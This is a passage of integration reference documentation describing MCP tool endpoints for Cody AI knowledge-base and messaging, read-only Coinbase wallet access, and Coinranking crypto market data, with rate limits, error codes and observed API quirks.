`{"data": [...], "meta": {"pagination": {...}}}`. This is also this integration's credential probe: on the hosted connect page the key is checked here before it is stored; the dashboard form stores it as pasted, and a wrong or revoked key fails at the first call. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. Page size is fixed (15 records; 10 for messages) and cannot be raised, so reading a large account costs one call per page against that budget. GET /api/v1/cody/bots. Scopes: api. cody_get_conversations (read) — List conversations via GET /conversations. List the conversations on this account, each with `id`, `name`, `bot_id` and `created_at`. Filters: `bot_id` keeps only conversations using that bot -- measured 2026-09-19 to be READ for a real bot id, but an UNKNOWN bot id is silently ignored and answers the unfiltered list, so a typo looks like 'no filter' rather than 'no results'; `keyword` matches the conversation name partially; `includes=document_ids` adds a `document_ids: {"data": [...]}` block listing the documents each conversation is focused on. This is where a `conversation_id` comes from. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. Page size is fixed (15 records; 10 for messages) and cannot be raised, so reading a large account costs one call per page against that budget. GET /api/v1/cody/conversations. Scopes: api. cody_get_conversations_by_id (read) — Get a conversation via GET /conversations/{id}. Fetch one conversation by its `id`: `name`, `bot_id`, `created_at`, and with `includes=document_ids` the documents it is focused on. An unknown id answers 404 `{"message": "Record not found."}`. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. GET /api/v1/cody/conversations/{id}. Scopes: api. cody_get_documents (read) — List documents via GET /documents. List the documents in this account's knowledge base, each with `id`, `name`, `status` (`syncing`, `synced` = learned, or `sync_failed`), `content_url` (a link to the stored content as HTML), `folder_id` and `created_at`. Filters: `folder_id` lists one folder's documents; `conversation_id` lists only the documents that conversation is focused on; `keyword` matches the document name partially. This is where a `document_id` comes from -- and where to poll `status` after an import, since a file or web-page import completes asynchronously. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. Page size is fixed (15 records; 10 for messages) and cannot be raised, so reading a large account costs one call per page against that budget. GET /api/v1/cody/documents. Scopes: api. cody_get_documents_by_id (read) — Get a document via GET /documents/{id}. Fetch one document by its `id`: `name`, `status`, `content_url`, `folder_id`, `created_at`. This is the call to poll after an import until `status` is `synced` (or `sync_failed`). An unknown id answers 404 `Record not found.`. The document's text itself is not in the reply -- `content_url` links to it. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. GET /api/v1/cody/documents/{id}. Scopes: api. cody_get_folders (read) — List folders via GET /folders. List the knowledge-base folders on this account, each with `id`, `name` and `created_at`. Optional `keyword` matches the folder name partially (measured 2026-09-19 to be READ: `renamed` returned the one matching folder, an unmatched keyword returned 0). This is where a `folder_id` comes from: every document create needs one. Folders cannot be deleted through this API -- only created, read and renamed -- so create them deliberately. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. Page size is fixed (15 records; 10 for messages) and cannot be raised, so reading a large account costs one call per page against that budget. GET /api/v1/cody/folders. Scopes: api. cody_get_folders_by_id (read) — Get a folder via GET /folders/{id}. Fetch one folder by its `id`: `name` and `created_at`. An unknown id answers 404 `Record not found.`. Use List documents with `folder_id` to see what is in it. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. GET /api/v1/cody/folders/{id}. Scopes: api. cody_get_messages (read) — List messages via GET /messages. List messages, each with `id`, `content`, `conversation_id`, `machine` (true for the bot's own messages), `failed_responding`, `flagged` (true when OpenAI's usage policy was violated) and `created_at`. Pass `conversation_id` to read one conversation's thread -- without it the account's messages are listed across all conversations. `includes=sources` adds the knowledge-base documents each bot message drew on; `includes=usage` adds the tokens and credits it cost. Page size is 10 here (15 elsewhere). Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. Page size is fixed (15 records; 10 for messages) and cannot be raised, so reading a large account costs one call per page against that budget. GET /api/v1/cody/messages. Scopes: api. cody_get_messages_by_id (read) — Get a message via GET /messages/{id}. Fetch one message by its `id`, with `includes=sources` for the documents a bot message drew on or `includes=usage` for its token and credit cost. An unknown id answers 404 `Record not found.`. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. GET /api/v1/cody/messages/{id}. Scopes: api. cody_post_conversations (write) — Create a conversation via POST /conversations. Start a new conversation with one of the account's bots. `name` and `bot_id` are required (measured 2026-09-19: `{}` answers 422 naming both). Optionally pass `document_ids` to FOCUS the conversation on specific documents; only documents in folders the bot can reach are accepted. The reply is the created conversation with its new `id`, which Send a message needs. Creating a conversation is free -- it spends none of the plan's message allowance until a message is sent. Cody AI answers 422 with a per-field `errors` object naming exactly what is missing or wrong. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. POST /api/v1/cody/conversations. Scopes: api. cody_post_conversations_by_id (write) — Update a conversation via POST /conversations/{id}. Update a conversation: rename it, switch it to another bot, or replace the set of documents it is focused on. THIS IS A PARTIAL UPDATE (measured 2026-09-19): send only the fields you are changing and the rest are kept; an empty body answers 200 and changes nothing. The vendor's schema marks `name` and `bot_id` required on this call and the server does not enforce it. The record is looked up BEFORE the body is validated, so an unknown `id` answers 404 `Record not found.` whatever the body says. Note the verb: Cody updates with POST on the record's own URL, not PUT or PATCH. The record is looked up before the body is read, so a 404 `Record not found.` is about the id and a 422 is about the body. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. POST /api/v1/cody/conversations/{id}. Scopes: api. cody_post_documents (write) — Create a document from text via POST /documents. Add a document to the knowledge base from TEXT you supply -- plain text or HTML, up to 768 KB in `content`. `name` and `folder_id` are required (measured 2026-09-19: `{}` answers 422 naming both, although the vendor's schema marks neither). The bot learns the document asynchronously: the reply's `status` starts at `syncing` and becomes `synced` when it can be used, so read it back before relying on it. For a file that already exists, use Get an upload URL followed by Create a document from an uploaded file; for a public web page, use Create a document from a web page. Cody AI answers 422 with a per-field `errors` object naming exactly what is missing or wrong. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. POST /api/v1/cody/documents. Scopes: api. cody_post_documents_file (write) — Create a document from an uploaded file via POST /documents/file. Register an UPLOADED file as a document, by the `key` that Get an upload URL returned. THE BYTES ARE NOT SENT THROUGH THIS CALL and cannot be sent through Agentic Fabriq at all: the file must first be PUT to the signed S3 URL by something that has the bytes, and only then does this call make Cody read it from storage. Allowed types: txt, md, rtf, pdf, ppt, pptx, pptm, doc, docx, docm, up to 100 MB. `folder_id` and `key` are required (measured 2026-09-19). A 200 means ACCEPTED, not done: the vendor says conversion can take from a couple of minutes to an hour, after which the document appears in List documents; a 429 means the account's limit of simultaneously pending imports is reached -- wait for them to finish (they time out after an hour) and retry. Cody AI answers 422 with a per-field `errors` object naming exactly what is missing or wrong. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. POST /api/v1/cody/documents/file. Scopes: api. cody_post_documents_webpage (write) — Create a document from a web page via POST /documents/webpage. Add a document to the knowledge base by giving Cody a PUBLIC web page URL to fetch. `folder_id` and `url` are required (measured 2026-09-19: `{}` answers 422 naming both). The page must be reachable without a login: an inaccessible page answers 400 `Webpage was in-accessible`, and the vendor's first suggestion is that a firewall on the page's side is blocking its crawler. The reply is the new document with `status` `syncing`; it becomes `synced` when the bot has learned it. Cody AI answers 422 with a per-field `errors` object naming exactly what is missing or wrong. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. POST /api/v1/cody/documents/webpage. Scopes: api. cody_post_folders (write) — Create a folder via POST /folders. Create a knowledge-base folder. `name` is required (measured 2026-09-19: `{}` answers 422 `The name field is required.`, although the vendor's schema marks nothing required). THERE IS NO DELETE FOR FOLDERS in this API, so a folder created here can only be renamed afterwards -- check List folders for an existing one first. Cody AI answers 422 with a per-field `errors` object naming exactly what is missing or wrong. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. POST /api/v1/cody/folders. Scopes: api. cody_post_folders_by_id (write) — Update a folder via POST /folders/{id}. Rename a folder -- `name` is the only writable field and it is required (measured 2026-09-19: `{}` against a real folder answers 422 `The name field is required.`, unlike the conversation update, which accepts a partial body). The record is looked up before the body is validated: an unknown `id` with `{}` answers 404 `Record not found.`. Note the verb: Cody updates with POST on the record's own URL. The record is looked up before the body is read, so a 404 `Record not found.` is about the id and a 422 is about the body. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. POST /api/v1/cody/folders/{id}. Scopes: api. cody_post_messages (write) — Send a message and get the bot's answer via POST /messages. Post a message into a conversation and receive THE BOT'S GENERATED ANSWER in the same reply -- this call waits for the model, so allow for a slow response. `content` (up to 2000 characters) and `conversation_id` are required (measured 2026-09-19: `{}` answers 422 naming both). THIS SPENDS THE ACCOUNT'S MESSAGE ALLOWANCE: a 402 means the subscription plan's 30-day message limit is reached and nothing was generated. A 500 means the generation itself failed (vendor: service overload or a network fault) -- List messages for the conversation then shows the failed message with `failed_responding` true; retrying spends another message. Each message sent counts against the Cody AI subscription's monthly message allowance, so confirm the account has headroom before sending many. Cody AI answers 422 with a per-field `errors` object naming exactly what is missing or wrong. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. POST /api/v1/cody/messages. Scopes: api. cody_post_messages_stream (write) — Send a message and get a stream URL via POST /messages/stream. Post a message into a conversation and receive a URL for a Server-Sent-Events STREAM of the bot's answer, instead of waiting for the whole answer as Send a message does. The reply is `{"data": {"stream_url": ...}}`: Agentic Fabriq always asks for the JSON form (`redirect: false`; the vendor's default 302 to the stream cannot be followed here) and DOES NOT CONSUME THE STREAM -- the caller must read it with its own SSE client (events carry `{"chunk": ...}` between `[START]` and `[END]`, and the caller must close the connection after `[END]`). If nothing reads the stream, the answer is still generated and can be read afterwards with List messages. IF CODY ANSWERS 302 REGARDLESS, Agentic Fabriq surfaces it as an error AFTER the message has been sent: the allowance is spent and the bot's answer is readable with List messages, so do not retry blind -- read the conversation first. `content` (up to 2000 characters) and `conversation_id` are required (measured 2026-09-19). THIS SPENDS THE ACCOUNT'S MESSAGE ALLOWANCE exactly as Send a message does; 402 means the plan's 30-day message limit is reached. Each message sent counts against the Cody AI subscription's monthly message allowance, so confirm the account has headroom before sending many. Cody AI answers 422 with a per-field `errors` object naming exactly what is missing or wrong. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. POST /api/v1/cody/messages/stream. Scopes: api. cody_post_uploads_signed_url (write) — Get an upload URL via POST /uploads/signed-url. Step one of a file import: obtain a pre-signed Amazon S3 URL to PUT the file's bytes to, plus the storage `key` that Create a document from an uploaded file then takes. `file_name` (with its extension) and `content_type` are required (measured 2026-09-19: `{}` answers 422 naming both). The reply is `{"data": {"url": ..., "key": ...}}` (measured 2026-09-19; the vendor's schema shows the two fields at the top level, but the live reply wraps them in `data` like every other Cody reply). THE URL IS A TIME-LIMITED WRITE CAPABILITY -- measured 2026-09-19 it carries an AWS signature valid for 300 seconds (`X-Amz-Expires=300`) that permits PUTs to that one key for 300 seconds (repeatable until it expires), private, and nothing else -- so hand it to the system that holds the bytes and use it promptly; a fresh one is free. Agentic Fabriq itself cannot perform the upload: no tool here carries file bytes. Nothing is created on the account until the key is registered. Cody AI answers 422 with a per-field `errors` object naming exactly what is missing or wrong. Cody AI allows 60 requests per minute per API key and reports the budget on every authenticated response in `x-ratelimit-limit` and `x-ratelimit-remaining`; a rejected credential consumes none of it. POST /api/v1/cody/uploads/signed-url. Scopes: api. ================================================================================ ## Coinbase URL: https://www.agenticfabriq.com/integrations/coinbase Section: Integrated Tools Coinbase — 12 MCP tools Provider key: coinbase. Scopes: wallet:accounts:read, wallet:addresses:read, wallet:deposits:read, wallet:subscription:read, wallet:transactions:read, wallet:user:read, wallet:withdrawals:read. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. coinbase_get_v2_accounts (read) — List every wallet on the connected Coinbase account -- fiat and crypto -- with each one's id, name, currency and balance. The id returned here is the `account_id` every other tool in this integration takes. Coinbase GET https://api.coinbase.com/v2/accounts. GET /api/v1/coinbase/v2/accounts. Scopes: wallet:accounts:read. coinbase_get_v2_accounts_by_account_id (read) — Read one wallet of the connected Coinbase account by its id, including its balance and currency. Coinbase GET https://api.coinbase.com/v2/accounts/{account_id}. GET /api/v1/coinbase/v2/accounts/{account_id}. Scopes: wallet:accounts:read. coinbase_get_v2_accounts_by_account_id_addresses (read) — List the crypto receive addresses that already exist on one wallet, with the network each belongs to. Reads only -- minting a new address is a separate operation and is not offered here. Coinbase GET https://api.coinbase.com/v2/accounts/{account_id}/addresses. GET /api/v1/coinbase/v2/accounts/{account_id}/addresses. Scopes: wallet:addresses:read. coinbase_get_v2_accounts_by_account_id_deposits (read) — List deposits into one fiat wallet from a linked bank account or payment method, with their status and amounts. Coinbase GET https://api.coinbase.com/v2/accounts/{account_id}/deposits. NOT REACHABLE WITH A PASTED CDP API KEY: measured 2026-09-16, this endpoint answers 401 "User is not authenticated" to a valid CDP Secret API key while the same key reads wallets and transactions normally. It needs a user-authorized OAuth grant, and Coinbase OAuth is not available to Agentic Fabriq yet. GET /api/v1/coinbase/v2/accounts/{account_id}/deposits. Scopes: wallet:deposits:read. coinbase_get_v2_accounts_by_account_id_deposits_by_deposit_id (read) — Read one deposit into a fiat wallet by its id, with its status, amount, fee and payment method. Coinbase GET https://api.coinbase.com/v2/accounts/{account_id}/deposits/{deposit_id}. Measured 2026-09-16: an id that does not exist answers 200 with an EMPTY record rather than 404, so a caller must check the returned id instead of relying on the status code. GET /api/v1/coinbase/v2/accounts/{account_id}/deposits/{deposit_id}. Scopes: wallet:deposits:read. coinbase_get_v2_accounts_by_account_id_transactions (read) — List the transactions on one wallet -- sends, receives, buys, sells, transfers and their counterparties and amounts, newest first by default. Coinbase GET https://api.coinbase.com/v2/accounts/{account_id}/transactions. GET /api/v1/coinbase/v2/accounts/{account_id}/transactions. Scopes: wallet:transactions:read. coinbase_get_v2_accounts_by_account_id_transactions_by_transaction_id (read) — Read one transaction on one wallet by its id, with its status, amount, native amount and counterparty. Coinbase GET https://api.coinbase.com/v2/accounts/{account_id}/transactions/{transaction_id}. GET /api/v1/coinbase/v2/accounts/{account_id}/transactions/{transaction_id}. Scopes: wallet:transactions:read. coinbase_get_v2_accounts_by_account_id_withdrawals (read) — List withdrawals out of one fiat wallet to a linked bank account or payment method, with their status and amounts. Coinbase GET https://api.coinbase.com/v2/accounts/{account_id}/withdrawals. NOT REACHABLE WITH A PASTED CDP API KEY: measured 2026-09-16, this endpoint answers 401 "User is not authenticated" to a valid CDP Secret API key while the same key reads wallets and transactions normally. It needs a user-authorized OAuth grant, and Coinbase OAuth is not available to Agentic Fabriq yet. GET /api/v1/coinbase/v2/accounts/{account_id}/withdrawals. Scopes: wallet:withdrawals:read. coinbase_get_v2_accounts_by_account_id_withdrawals_by_withdrawal_id (read) — Read one withdrawal from a fiat wallet by its id, with its status, amount, fee and payment method. Coinbase GET https://api.coinbase.com/v2/accounts/{account_id}/withdrawals/{withdrawal_id}. Measured 2026-09-16: an id that does not exist answers 200 with an EMPTY record rather than 404, so a caller must check the returned id instead of relying on the status code. GET /api/v1/coinbase/v2/accounts/{account_id}/withdrawals/{withdrawal_id}. Scopes: wallet:withdrawals:read. coinbase_get_v2_subscriptions_coinbase_one (read) — Read whether the connected Coinbase account holds an active Coinbase One subscription, and what it covers. Coinbase GET https://api.coinbase.com/v2/subscriptions/coinbase-one. MAY NOT BE REACHABLE WITH A PASTED CDP API KEY: measured 2026-09-16, this endpoint answers a bare 401 to a valid CDP Secret API key, to a bogus one and to no credential at all -- identical responses, so whether the route refuses this credential kind or is not mounted for it cannot be told apart from outside. It is documented as part of the OAuth surface, and Coinbase OAuth is not available to Agentic Fabriq yet. GET /api/v1/coinbase/v2/subscriptions/coinbase-one. Scopes: wallet:subscription:read. coinbase_get_v2_user (read) — Read the public profile of the Coinbase account this connection authenticates as: id, display name, avatar, country, time zone, preferred fiat currency and Bitcoin unit. Reads nothing about balances or transactions. This is also the endpoint Agentic Fabriq checks a pasted API key against. Coinbase GET https://api.coinbase.com/v2/user. GET /api/v1/coinbase/v2/user. Scopes: wallet:user:read. coinbase_get_v2_user_personal_details (read) — Read the personal details Coinbase holds for the connected account -- the identity fields behind the public profile. Coinbase GET https://api.coinbase.com/v2/user/personal-details. MAY NOT BE REACHABLE WITH A PASTED CDP API KEY: measured 2026-09-16, this endpoint answers a bare 401 to a valid CDP Secret API key, to a bogus one and to no credential at all -- identical responses, so whether the route refuses this credential kind or is not mounted for it cannot be told apart from outside. It is documented as part of the OAuth surface, and Coinbase OAuth is not available to Agentic Fabriq yet. GET /api/v1/coinbase/v2/user/personal-details. Scopes: wallet:accounts:read. ================================================================================ ## Coinranking URL: https://www.agenticfabriq.com/integrations/coinranking Section: Integrated Tools Coinranking — 60 MCP tools Provider key: coinranking. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. coinranking_get_assets (read) — List of assets via GET /assets GET /api/v1/coinranking/assets. Scopes: api. coinranking_get_blockchain_by_blockchain_by_address (read) — Get UUID by contract address via GET /blockchain/{blockchain}/{address}. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/blockchain/{blockchain}/{address}. Scopes: api. coinranking_get_blockchain_by_name (read) — Get blockchain details via GET /blockchain/{name}. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/blockchain/{name}. Scopes: api. coinranking_get_blockchains (read) — Get blockchains via GET /blockchains. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/blockchains. Scopes: api. coinranking_get_bulk_coins (read) — Get bulk metadata of all coins via GET /bulk/coins. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/bulk/coins. Scopes: api. coinranking_get_coin_by_uuid (read) — Get coin details via GET /coin/{uuid} GET /api/v1/coinranking/coin/{uuid}. Scopes: api. coinranking_get_coin_by_uuid_exchanges (read) — Get coin exchange listings via GET /coin/{uuid}/exchanges. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/coin/{uuid}/exchanges. Scopes: api. coinranking_get_coin_by_uuid_fiat_prices (read) — Get coin fiat prices via GET /coin/{uuid}/fiat-prices. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/coin/{uuid}/fiat-prices. Scopes: api. coinranking_get_coin_by_uuid_gains_and_losses (read) — Get coin gains and losses via GET /coin/{uuid}/gains-and-losses. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/coin/{uuid}/gains-and-losses. Scopes: api. coinranking_get_coin_by_uuid_issuance_blockchains (read) — Get coin blockchains via GET /coin/{uuid}/issuance-blockchains. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/coin/{uuid}/issuance-blockchains. Scopes: api. coinranking_get_coin_by_uuid_market_cap_history (read) — Get coin market cap history via GET /coin/{uuid}/market-cap-history. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/coin/{uuid}/market-cap-history. Scopes: api. coinranking_get_coin_by_uuid_markets (read) — Get coin market listings via GET /coin/{uuid}/markets. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/coin/{uuid}/markets. Scopes: api. coinranking_get_coin_by_uuid_modifiers (read) — Get coin supply modifiers via GET /coin/{uuid}/modifiers. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/coin/{uuid}/modifiers. Scopes: api. coinranking_get_coin_by_uuid_ohlcv (read) — Get coin OHLCV via GET /coin/{uuid}/ohlcv. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/coin/{uuid}/ohlcv. Scopes: api. coinranking_get_coin_by_uuid_price (read) — Get coin price via GET /coin/{uuid}/price GET /api/v1/coinranking/coin/{uuid}/price. Scopes: api. coinranking_get_coin_by_uuid_price_history (read) — Get coin price history via GET /coin/{uuid}/price-history GET /api/v1/coinranking/coin/{uuid}/price-history. Scopes: api. coinranking_get_coin_by_uuid_rank_history (read) — Get coin rank history via GET /coin/{uuid}/rank-history. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/coin/{uuid}/rank-history. Scopes: api. coinranking_get_coin_by_uuid_supply_history (read) — Get coin supply history via GET /coin/{uuid}/supply-history. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/coin/{uuid}/supply-history. Scopes: api. coinranking_get_coin_by_uuid_trading_volume_history (read) — Get coin trading volume history via GET /coin/{uuid}/trading-volume-history. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/coin/{uuid}/trading-volume-history. Scopes: api. coinranking_get_coins (read) — List of coins via GET /coins GET /api/v1/coinranking/coins. Scopes: api. coinranking_get_coins_trending (read) — List of trending coins via GET /coins/trending GET /api/v1/coinranking/coins/trending. Scopes: api. coinranking_get_dex_by_uuid (read) — Get DEX exchange details via GET /dex/{uuid}. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/dex/{uuid}. Scopes: api. coinranking_get_dex_by_uuid_coins (read) — Get DEX exchange coin listings via GET /dex/{uuid}/coins. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/dex/{uuid}/coins. Scopes: api. coinranking_get_dex_by_uuid_coins_new (read) — Get DEX exchange new coin listings via GET /dex/{uuid}/coins/new. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/dex/{uuid}/coins/new. Scopes: api. coinranking_get_dex_by_uuid_markets (read) — Get DEX exchange list of markets via GET /dex/{uuid}/markets. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/dex/{uuid}/markets. Scopes: api. coinranking_get_dex_protocols (read) — Get list of DEX protocols via GET /dex-protocols. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/dex-protocols. Scopes: api. coinranking_get_dexs (read) — Get list of DEXs via GET /dexs. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/dexs. Scopes: api. coinranking_get_exchange_by_uuid (read) — Get exchange details via GET /exchange/{uuid}. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/exchange/{uuid}. Scopes: api. coinranking_get_exchange_by_uuid_coins (read) — Get exchange coin listings via GET /exchange/{uuid}/coins. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/exchange/{uuid}/coins. Scopes: api. coinranking_get_exchange_by_uuid_coins_new (read) — Get exchange new coin listings via GET /exchange/{uuid}/coins/new. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/exchange/{uuid}/coins/new. Scopes: api. coinranking_get_exchange_by_uuid_markets (read) — Get exchange list of markets via GET /exchange/{uuid}/markets. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/exchange/{uuid}/markets. Scopes: api. coinranking_get_exchanges (read) — Get list of exchanges via GET /exchanges. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/exchanges. Scopes: api. coinranking_get_futures_coin_by_uuid (read) — Get futures coin details via GET /futures/coin/{uuid}. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/futures/coin/{uuid}. Scopes: api. coinranking_get_futures_coin_by_uuid_exchanges (read) — Get futures coin exchanges via GET /futures/coin/{uuid}/exchanges. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken tool. GET /api/v1/coinranking/futures/coin/{uuid}/exchanges. Scopes: api. coinranking_get_futures_coin_by_uuid_markets (read) — Get futures coin markets via GET /futures/coin/{uuid}/markets. Professional plan: Coinranking marks this endpoint Pro, and an account on the Free or Startup plan is refused with HTTP 403 FORBIDDEN 'To use this endpoint please upgrade your subscription plan' -- an entitlement answer, not a bad credential and not a broken 